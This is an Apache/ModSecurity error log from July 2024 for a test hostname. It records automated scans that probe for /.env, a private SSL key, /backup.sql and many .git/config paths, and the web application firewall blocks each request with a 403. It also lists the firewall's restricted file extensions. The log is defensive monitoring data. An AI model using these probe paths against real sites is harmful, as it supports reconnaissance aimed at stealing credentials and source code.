[Wed Jul 03 21:04:32.149212 2024] [:error] [pid 193286] [client 213.232.87.232:47593] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZoWgwOTsELWdno8uffUSvwAAAA8&quot;]
[Wed Jul 03 21:04:32.154379 2024] [:error] [pid 193329] [client 213.232.87.232:27443] [client 213.232.87.232] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;ZoWgwEjtJT3KesisB6wYlAAAAAE&quot;]
[Wed Jul 03 21:04:32.154719 2024] [:error] [pid 193329] [client 213.232.87.232:27443] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;ZoWgwEjtJT3KesisB6wYlAAAAAE&quot;]
[Wed Jul 03 21:04:32.154928 2024] [:error] [pid 193329] [client 213.232.87.232:27443] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;ZoWgwEjtJT3KesisB6wYlAAAAAE&quot;]
[Wed Jul 03 21:04:32.222782 2024] [:error] [pid 193281] [client 213.232.87.232:52127] [client 213.232.87.232] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;ZoWgwPQafZJStfF3JCG4ZwAAAAA&quot;]
[Wed Jul 03 21:04:32.223539 2024] [:error] [pid 193281] [client 213.232.87.232:52127] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;ZoWgwPQafZJStfF3JCG4ZwAAAAA&quot;]
[Wed Jul 03 21:04:32.223899 2024] [:error] [pid 193281] [client 213.232.87.232:52127] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;ZoWgwPQafZJStfF3JCG4ZwAAAAA&quot;]
[Fri Jul 05 21:12:38.133144 2024] [:error] [pid 220519] [client 45.148.10.230:41812] [client 45.148.10.230] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZohFpsDUgyflA4UkJFVwjwAAAAU&quot;]
[Fri Jul 05 21:12:38.133905 2024] [:error] [pid 220519] [client 45.148.10.230:41812] [client 45.148.10.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZohFpsDUgyflA4UkJFVwjwAAAAU&quot;]
[Fri Jul 05 21:12:38.134356 2024] [:error] [pid 220519] [client 45.148.10.230:41812] [client 45.148.10.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZohFpsDUgyflA4UkJFVwjwAAAAU&quot;]
[Mon Jul 08 20:09:46.883955 2024] [:error] [pid 286285] [client 179.43.188.122:37130] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zowrajwn1f4ZGxotcdmF0QAAAAM&quot;]
[Mon Jul 08 20:09:46.885735 2024] [:error] [pid 286285] [client 179.43.188.122:37130] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zowrajwn1f4ZGxotcdmF0QAAAAM&quot;]
[Mon Jul 08 20:09:46.886248 2024] [:error] [pid 286285] [client 179.43.188.122:37130] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zowrajwn1f4ZGxotcdmF0QAAAAM&quot;]
[Tue Jul 09 10:23:15.239233 2024] [:error] [pid 309698] [client 83.147.52.49:48226] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /var/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/.git/config&quot;] [unique_id &quot;ZozzcztIFtivjnrxdzEgcgAAAAM&quot;]
[Tue Jul 09 10:23:15.242393 2024] [:error] [pid 309698] [client 83.147.52.49:48226] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/.git/config&quot;] [unique_id &quot;ZozzcztIFtivjnrxdzEgcgAAAAM&quot;]
[Tue Jul 09 10:23:15.242720 2024] [:error] [pid 309698] [client 83.147.52.49:48226] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/.git/config&quot;] [unique_id &quot;ZozzcztIFtivjnrxdzEgcgAAAAM&quot;]
[Tue Jul 09 10:23:15.240454 2024] [:error] [pid 309697] [client 83.147.52.49:48212] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backend/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;ZozzcxOpy1jxymUNQh4DMAAAAAI&quot;]
[Tue Jul 09 10:23:15.243826 2024] [:error] [pid 309697] [client 83.147.52.49:48212] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;ZozzcxOpy1jxymUNQh4DMAAAAAI&quot;]
[Tue Jul 09 10:23:15.243863 2024] [:error] [pid 309700] [client 83.147.52.49:48150] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /back/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.git/config&quot;] [unique_id &quot;Zozzc-LMDwIajEb4yjnpCgAAAAU&quot;]
[Tue Jul 09 10:23:15.244144 2024] [:error] [pid 309697] [client 83.147.52.49:48212] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;ZozzcxOpy1jxymUNQh4DMAAAAAI&quot;]
[Tue Jul 09 10:23:15.244398 2024] [:error] [pid 309700] [client 83.147.52.49:48150] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.git/config&quot;] [unique_id &quot;Zozzc-LMDwIajEb4yjnpCgAAAAU&quot;]
[Tue Jul 09 10:23:15.241897 2024] [:error] [pid 309699] [client 83.147.52.49:48118] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /home/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.git/config&quot;] [unique_id &quot;Zozzc6Qq4ckNRxaGPPIH1AAAAAQ&quot;]
[Tue Jul 09 10:23:15.245126 2024] [:error] [pid 309699] [client 83.147.52.49:48118] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.git/config&quot;] [unique_id &quot;Zozzc6Qq4ckNRxaGPPIH1AAAAAQ&quot;]
[Tue Jul 09 10:23:15.245418 2024] [:error] [pid 309699] [client 83.147.52.49:48118] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.git/config&quot;] [unique_id &quot;Zozzc6Qq4ckNRxaGPPIH1AAAAAQ&quot;]
[Tue Jul 09 10:23:15.247560 2024] [:error] [pid 314410] [client 83.147.52.49:48162] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Zozzc1dddELZEc5T3XtbawAAAAc&quot;]
[Tue Jul 09 10:23:15.247650 2024] [:error] [pid 309695] [client 83.147.52.49:48192] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;Zozzc52OIe3M2j2NoFsCjQAAAAA&quot;]
[Tue Jul 09 10:23:15.247970 2024] [:error] [pid 309695] [client 83.147.52.49:48192] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;Zozzc52OIe3M2j2NoFsCjQAAAAA&quot;]
[Tue Jul 09 10:23:15.248085 2024] [:error] [pid 314410] [client 83.147.52.49:48162] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Zozzc1dddELZEc5T3XtbawAAAAc&quot;]
[Tue Jul 09 10:23:15.248265 2024] [:error] [pid 309695] [client 83.147.52.49:48192] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;Zozzc52OIe3M2j2NoFsCjQAAAAA&quot;]
[Tue Jul 09 10:23:15.248426 2024] [:error] [pid 314410] [client 83.147.52.49:48162] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Zozzc1dddELZEc5T3XtbawAAAAc&quot;]
[Tue Jul 09 10:23:15.248846 2024] [:error] [pid 309696] [client 83.147.52.49:48178] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;Zozzc0kXXWIKmMqU1KDKXgAAAAE&quot;]
[Tue Jul 09 10:23:15.249010 2024] [:error] [pid 309696] [client 83.147.52.49:48178] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;Zozzc0kXXWIKmMqU1KDKXgAAAAE&quot;]
